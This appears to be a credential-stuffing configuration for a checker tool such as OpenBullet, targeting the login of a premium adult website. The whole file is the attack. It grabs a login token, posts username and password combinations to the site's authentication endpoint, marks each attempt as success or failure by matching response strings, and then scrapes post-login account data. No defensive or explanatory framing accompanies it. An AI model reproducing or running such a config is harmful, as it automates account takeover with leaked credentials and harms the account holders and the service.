Code:
[SCRIPT]
#Tokens REQUEST GET "https://www.pornhubpremium.com/premium/login"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
#TOK PARSE "<SOURCE>" LR "token\" value=\"" "\" />" -> VAR "TOK"
#Posts REQUEST POST "https://www.pornhubpremium.com/front/authenticate"
CONTENT "username=<USER>&password=<PASS>&redirect=&from=pc_premium_login&segment=straight&token=<TOK>"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
#Key KEYCHECK
KEYCHAIN Success OR
KEY "success\":\"1\",\"message\":\"\",\"redirect"
KEY "premium_redirect_cookie\":\"1\""
KEYCHAIN Failure OR
KEY "success\":\"0\",\"message\":\"Invalid "
KEY "premium_redirect_cookie\":\"0\",\""
#CAP REQUEST GET "https://www.pornhubpremium.com/postlogin"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
#TK PARSE "<SOURCE>" LR "var pornportalConfig = {\"data\":\"" "\"" -> VAR "PORTALS TOKEN"
#GCC REQUEST GET "https://ppp.contentdef.com/postlogin?data=<PORTALS TOKEN>"
HEADER "Host: ppp.contentdef.com"
HEADER "Connection: keep-alive"
HEADER "Accept: application/json, text/javascript, */*; q=0.01"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
HEADER "X-Requested-With: XMLHttpRequest"
HEADER "Sec-Fetch-Site: same-origin"
HEADER "Sec-Fetch-Mode: cors"
HEADER "Sec-Fetch-Dest: empty"
HEADER "Accept-Language: en-US,en;q=0.9"
HEADER "Accept-Encoding: gzip, deflate"
#KIR PARSE "<SOURCE>" LR "labelledby=\"dropdown-menu-user\"" "trackid=\"PPBAR-Logout\">" -> VAR "KIR"